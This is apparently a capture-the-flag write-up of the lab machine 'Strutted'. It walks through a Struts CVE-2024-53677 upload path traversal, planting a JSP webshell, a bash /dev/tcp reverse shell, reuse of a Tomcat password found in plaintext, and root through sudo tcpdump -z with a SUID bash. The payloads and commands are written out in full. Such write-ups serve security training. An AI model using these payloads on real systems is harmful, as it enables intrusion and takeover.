Enumeration
Nmap returned the usual starting point — SSH and HTTP:
nmap -sC -sV -oN nmap/initial 10.10.11.59
# 22/tcp open ssh OpenSSH 9.2
# 80/tcp open http nginx 1.22.1
The website was a marketing page for an image hosting company. After adding strutted.htb to /etc/hosts, a quick review of the site revealed a downloadable Docker container image the company provided as a "try it yourself" developer preview. Grabbing and inspecting that image turned out to be the key piece of recon — the container used Apache Struts 6.3.0.1, which is within the window of CVE-2024-53677.
Foothold — CVE-2024-53677 Path Traversal Upload
CVE-2024-53677 is a path traversal vulnerability in Struts' file upload action. The FileUploadInterceptor processes multipart form data and writes uploaded files to a configured upload directory — but in vulnerable versions, the file name parameter is not sanitised against ../ traversal sequences. By submitting a form with a carefully crafted filename, an attacker can write the uploaded file anywhere the Tomcat/Struts process has write access.
The image hosting site exposed an /upload endpoint that accepted image uploads. I crafted a multipart request targeting the Tomcat ROOT webapp directory so the uploaded file would be served as a live JSP webshell:
# Exploit uses case-mixed parameter name to bypass the filter blacklist
# The key is the Upload vs upload parameter case sensitivity in the exploit
curl -sk -X POST "http://strutted.htb/upload" \
-F "[email protected]" \
-F "top.UploadFileName=../../../../../usr/local/tomcat/webapps/ROOT/shell.jsp"
# shell.jsp (minimal Runtime.exec webshell)
# <%@ page import="java.util.*,java.io.*"%>
# <%
# String cmd = request.getParameter("cmd");
# if (cmd != null) {
# Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
# BufferedReader br = new BufferedReader(
# new InputStreamReader(p.getInputStream()));
# String l; while ((l = br.readLine()) != null) out.println(l);
# }
# %>
The uppercase U in Upload matters — the fix in Struts 6.4.0 enforced strict case-sensitive parameter matching, but 6.3.0.1's filter comparisons allowed the attacker-controlled filename through when submitted with the "wrong" case on the outer field name.
curl "http://strutted.htb/shell.jsp?cmd=id"
# uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)
# Upgrade to interactive reverse shell
curl "http://strutted.htb/shell.jsp?cmd=bash+-c+'bash+-i+%3E%26+/dev/tcp/10.10.14.X/4444+0%3E%261'"
Lateral Movement — tomcat-users.xml to james
Standard Tomcat enumeration starts at $CATALINA_HOME/conf/tomcat-users.xml — the config file that holds credentials for Tomcat management roles. On this box it held a plaintext password:
cat /usr/local/tomcat/conf/tomcat-users.xml
<tomcat-users xmlns="http://tomcat.apache.org/xml">
<role rolename="manager-gui"/>
<user username="admin" password="IT15mYc4TsF4ulT!" roles="manager-gui,admin-gui"/>
</tomcat-users>
Password reuse is a CTF staple and this box is no exception. The password worked for SSH as james:
ssh [email protected]
# james@strutted:~$ cat user.txt
Privilege Escalation — tcpdump -z Abuse
Checking sudo rights on james:
sudo -l
# User james may run the following commands on strutted:
# (root) NOPASSWD: /usr/bin/tcpdump
tcpdump with sudo is a classic GTFOBins path to root. The trick is the -z postrotate-command flag combined with -Z root:
-winstructs tcpdump to write packets to a file.-G <seconds>rotates the capture file at the specified interval.-z <command>executes the given command after each rotation, passing the rotated filename as the argument.-Z rootkeeps tcpdump running as root (instead of dropping to thetcpdumpuser after opening the capture socket) — which matters because-z's command inherits the current effective UID.
With sudo tcpdump, tcpdump is already running as root, so -Z root isn't strictly required — but including it avoids any surprise privilege drops on specific distributions. The goal is to get the -z callback to execute something useful as root.
Dropping a SUID bash
I wrote a small postrotate script that copies /bin/bash into /tmp and sets the SUID bit, then triggered tcpdump with a short rotation interval:
# /tmp/pwn.sh
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
chmod +x /tmp/pwn.sh
sudo /usr/bin/tcpdump -ln -i lo -w /tmp/dump.pcap -W 1 -G 1 -z /tmp/pwn.sh -Z root
# After one second tcpdump rotates the capture and runs pwn.sh as root
# — creating the SUID bash copy.
/tmp/rootbash -p
# rootbash-5.2# id
# uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) groups=1000(james)
cat /root/root.txt
Key Takeaways
Strutted is a textbook modern Linux-pentest chain — each stage maps directly to a real-world misconfiguration pattern that still shows up in enterprise assessments in 2026:
- CVE-2024-53677 is a reminder that Struts remains a high-value target years after the original Equifax-era incidents. The specific bypass (case-mixed parameter names) is subtle enough to slip through casual review.
- Plaintext credentials in
tomcat-users.xmlis astonishingly common — the file ships empty by default, but admins populate it during setup and never move to a real identity store. - Sudo on tcpdump is a bizarrely persistent anti-pattern. The
-zflag has been well-documented as an LPE primitive for over a decade, but network operations teams continue to grant NOPASSWD tcpdump to troubleshooting users. The correct pattern isCAP_NET_RAW/CAP_NET_ADMINcapabilities on the binary — not sudo.